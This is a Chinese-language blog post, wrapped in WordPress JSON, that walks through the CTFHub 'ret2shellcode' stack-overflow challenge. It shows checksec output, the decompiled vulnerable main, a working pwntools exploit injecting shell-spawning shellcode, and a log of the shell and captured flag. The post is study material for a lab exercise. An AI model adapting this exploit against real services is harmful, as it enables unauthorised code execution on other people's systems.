{"id":371,"date":"2021-10-07T00:11:47","date_gmt":"2021-10-06T16:11:47","guid":{"rendered":"https:\/\/dreamc.top\/?p=371"},"modified":"2021-10-07T00:11:47","modified_gmt":"2021-10-06T16:11:47","slug":"%e6%a0%88%e6%ba%a2%e5%87%ba-ret2shellcode","status":"publish","type":"post","link":"https:\/\/dreamc.top\/index.php\/2021\/10\/07\/%e6%a0%88%e6%ba%a2%e5%87%ba-ret2shellcode\/","title":{"rendered":"\u6808\u6ea2\u51fa\u2014\u2014ret2shellcode"},"content":{"rendered":"<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%89%8D%E8%A8%80\"><\/span>\u524d\u8a00<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>\u4e0a\u7bc7\u6587\u7ae0\u4e2d\u6211\u4eec\u8bb2\u89e3\u4e86ROP\u7684\u7b80\u5355\u4f7f\u7528\uff0c\u8fd9\u7bc7\u6211\u4eec\u7ee7\u7eed\u5b66\u4e60ROP\u7684\u4f7f\u7528\u3002\u672c\u7bc7\u8fd8\u6d89\u53ca\u4e00\u4e2a\u65b0\u77e5\u8bc6\u70b9\uff0c\u5c31\u662fshellcode\u3002ret2shellcode\u4ee3\u8868\u8fd4\u56de\u5230shellcode\u4e2d\u5373\u63a7\u5236\u51fd\u6570\u7684\u8fd4\u56de\u5730\u5740\u5230\u9884\u5148\u8bbe\u5b9a\u597d\u7684\u53ef\u8bfb\u5199\u533a\u57df\u4e2d\u53bb\u6267\u884cshellcode\u4ee3\u7801\u3002<\/p>\n<p>shellcode\u662f\u4e00\u6bb5\u53ef\u6267\u884c\u653b\u51fb\u7684\u673a\u5668\u7801\uff0c\u4e00\u822c\u5229\u7528pwntools\u76f4\u63a5\u751f\u6210\u3002\u4e5f\u6709\u591a\u79cd\u5229\u7528\u65b9\u5f0f\uff0c<a href=\"https:\/\/www.freebuf.com\/articles\/system\/237300.html\">\u8be6\u7ec6\u67e5\u770b\u5927\u4f6c\u535a\u6587<\/a>\u3002<\/p>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%B7%A5%E5%85%B7%E5%87%86%E5%A4%87\"><\/span>\u5de5\u5177\u51c6\u5907<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p>IDA\u3001DBG\u3001pwndbg\u3001peda\u3001pwntools<\/p>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E4%BE%8B%E9%A2%98%E6%8F%8F%E8%BF%B0%EF%BC%88ctfhub%E6%8A%80%E8%83%BD%E6%A0%91_ret2shellcode_%EF%BC%89\"><\/span>\u4f8b\u9898\u63cf\u8ff0\uff08ctfhub\u6280\u80fd\u6811 ret2shellcode \uff09<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<pre class=\"wp-block-code\"><code>nc challenge-2402cf6d104cabfd.sandbox.ctfhub.com 23767\n\u9644\u4ef6\uff1apwn<\/code><\/pre>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"ROP%E8%BF%87%E7%A8%8B\"><\/span>ROP\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p class=\"has-medium-font-size\">\u95ee\u9898\u5206\u6790<\/p>\n<p>\u4e0b\u8f7d\u9644\u4ef6\uff0c\u89e3\u538b\u67e5\u770b\u57fa\u672c\u4fe1\u606f\u3002<\/p>\n<pre class=\"wp-block-code\"><code>root@192:\/home\/cjm\/\u684c\u9762# file pwn\npwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=94500626298378cae494e018a28e70c1a187d603, not stripped<\/code><\/pre>\n<p>\u53d1\u73b0\u662f\u4e2a64\u4f4d\u7684elf\u6587\u4ef6 \u3002<\/p>\n<p>\u7136\u540e\u6211\u4eec\u68c0\u67e5\u5b83\u7684\u4fdd\u62a4\u673a\u5236 \u3002<\/p>\n<pre class=\"wp-block-code\"><code>gdb-peda$ checksec pwn\nCANARY    : disabled\nFORTIFY   : disabled\nNX        : disabled\nPIE       : disabled\nRELRO     : Partial<\/code><\/pre>\n<p>\u53d1\u73b0\u5b89\u5168\u63aa\u65bd\u90fd\u6ca1\u6709\u5f00\u542f\u3002\u6211\u4eec\u628a\u5b83\u653e\u8fdbIDA\u4e2d\uff0c\u6309F5\u8fdb\u884c\u53cd\u7f16\u8bd1\uff0c\u770b\u770bmain\u51fd\u6570\u7684\u6e90\u4ee3\u7801\u3002<\/p>\n<pre class=\"wp-block-code\"><code>int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  __int64 buf[2]; \/\/ [rsp+0h] [rbp-10h] BYREF\n\n  buf[0] = 0LL;\n  buf[1] = 0LL;\n  setvbuf(_bss_start, 0LL, 1, 0LL);\n  puts(&quot;Welcome to CTFHub ret2shellcode!&quot;);\n  printf(&quot;What is it : [%p] ?\\n&quot;, buf);\n  puts(&quot;Input someting : &quot;);\n  read(0, buf, 0x400uLL);\n  return 0;\n}<\/code><\/pre>\n<p>\u53d1\u73b0read()\u5b58\u5728\u6ea2\u51fa\uff0c\u901a\u8fc7buf\u76f8\u5bf9\u4e8erbp\u7684\u504f\u79fb\u91cf\uff0c\u6211\u4eec\u77e5\u9053\u4e86shellcode\u53ef\u4ee5\u5229\u7528\u7684\u957f\u5ea6\u4e3a<code>0x10+8=24<\/code> \uff0c\u4f46\u662f\u56e0\u4e3a\u5176\u672c\u8eab\u662f\u6709push\u6307\u4ee4\u7684\uff0c\u5982\u679c\u6211\u4eec\u628ashellcode\u653e\u5728\u8fd4\u56de\u5730\u5740\u7684\u524d\u9762\uff0c\u5728\u7a0b\u5e8fleave\u7684\u65f6\u5019\u4f1a\u7834\u574fshellcode\uff0c\u6240\u4ee5\u6211\u4eec\u5c06\u5176\u653e\u5728\u540e\u9762\uff0c\u5373payload\u7684\u683c\u5f0f\u4e3a\uff1a<\/p>\n<pre class=\"wp-block-code\"><code>&#039;a&#039;*24+[buf_addr+32]+shellcode\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u9762\u768432\u662f24\u4f4d\u8986\u76d6\u5730\u5740\u957f\u5ea6+8\u4f4d\u8fd4\u56de\u5730\u5740\u957f\u5ea6\u3002<\/p>\n<p>\u6700\u540e\uff0c\u6211\u4eec\u53ea\u9700\u8981\u77e5\u9053buf\u5730\u5740\u5c31\u53ef\u4ee5\u4e86\u3002<\/p>\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%BC%96%E5%86%99exp\"><\/span>\u7f16\u5199exp<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.arch=&#039;amd64&#039;\nsh = process(&quot;.\/pwn&quot;)\nbuf_addr = sh.recvuntil(b&quot;]&quot;) # \u83b7\u53d6buf\u5730\u5740\nsh.recvuntil(b&#039;Input someting : &#039;)\nshell=asm(shellcraft.sh())\nsh.sendline(b&#039;a&#039;*24 + p64(int(buf_addr[-15:-1],16)+0x20)+shell)\nsh.interactive()\n<\/code><\/pre>\n<p>\u6267\u884c\u83b7\u5f97shell\u3002<\/p>\n<pre class=\"wp-block-code\"><code>[x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767\n[x] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Trying 47.98.148.7\n[+] Opening connection to challenge-2402cf6d104cabfd.sandbox.ctfhub.com on port 23767: Done\n\n[*] Switching to interactive mode\n\nls\nbin\ndev\nflag\nlib\nlib32\nlib64\npwn\ncat flag\nctfhub{c6b3a8c98d78d8ad3852177b}\n[*] Got EOF while reading in interactive\n<\/code><\/pre>","protected":false},"excerpt":{"rendered":"<p>\u524d\u8a00 \u4e0a\u7bc7\u6587\u7ae0\u4e2d\u6211\u4eec\u8bb2\u89e3\u4e86ROP\u7684\u7b80\u5355\u4f7f\u7528\uff0c\u8fd9\u7bc7\u6211\u4eec\u7ee7\u7eed\u5b66\u4e60ROP\u7684\u4f7f\u7528\u3002\u672c\u7bc7\u8fd8\u6d89\u53ca\u4e00\u4e2a\u65b0\u77e5\u8bc6\u70b9\uff0c\u5c31\u662fshel [&hellip;]<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"advanced_seo_description":"","jetpack_seo_html_title":"","jetpack_seo_noindex":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[7],"tags":[],"class_list":["post-371","post","type-post","status-publish","format-standard","hentry","category-studyrecords"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/comments?post=371"}],"version-history":[{"count":0,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/posts\/371\/revisions"}],"wp:attachment":[{"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/media?parent=371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/categories?post=371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/dreamc.top\/index.php\/wp-json\/wp\/v2\/tags?post=371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}